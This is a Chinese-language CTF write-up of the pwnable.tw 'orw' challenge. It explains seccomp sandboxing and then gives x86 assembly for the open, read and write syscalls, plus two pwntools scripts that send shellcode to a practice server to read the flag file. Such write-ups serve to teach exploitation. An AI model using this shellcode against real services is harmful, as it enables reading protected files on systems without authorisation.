pwnable.tw orw

pwnable.tw orw

prctl 内核沙箱机制

# 知识点

prctl seccomp 相当于内核中的一种安全机制,正常情况下,程序可以使用所有的 syscall,但是当劫持程序流程之后通过 exeve 来呼叫 syscall 得到 shell 时过滤掉某些 syscall,只允许使用部分 syscall。

seccomp 是 secure computing 的缩写,其是 Linux kernel 从 2.6.23 版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp 安全机制能使一个进程进入到一种 “安全” 运行模式,该模式下的进程只能调用 4 种系统调用(system call),即 read (), write (), exit () 和 sigreturn (),否则进程便会被终止。

# WP

image-20211117202323531

开启了 canary

image-20211117203126264

image-20211117203205447

本题系统内核只允许使用 sys_open,sys_read,sys_write

第一次调用 prctl 函数 禁止提权,第二次调用 prctl 函数 限制能执行的系统调用只有 open,write,exit

总体思路是:open flag ->read->write

  1. sys_open
1
2
3
4
5
6
7
push 0x0  			#字符串结尾
push 0x67616c66 #'flags'
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flags,0,0)
  1. sys_read (2,file,0x100) 系统调用号为 3

    1
    2
    3
    4
    5
    6
    mov eax,0x3; 
    mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
    mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
    mov edx,0x100; #对应字节数
    int 0x80;

    1. sys_write (1,file,0x30) 系统调用号为 4
    1
    2
    3
    mov eax,0x4;	# eax = sys_write
    mov ebx,0x1; # ebx = unsigned int fd = 1
    int 0x80;

    exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn  import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=remote('node4.buuoj.cn',28836)
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;mov edx,0x30;int 0x80;')
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r = remote('node4.buuoj.cn',28836)

context.log_level = 'debug'
elf = ELF('orw')

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)

r.sendline(shellcode)

r.interactive()

Author

y1seco

Posted on

2021-11-17

Updated on

2022-01-27

Licensed under

Comments

:D 一言句子获取中...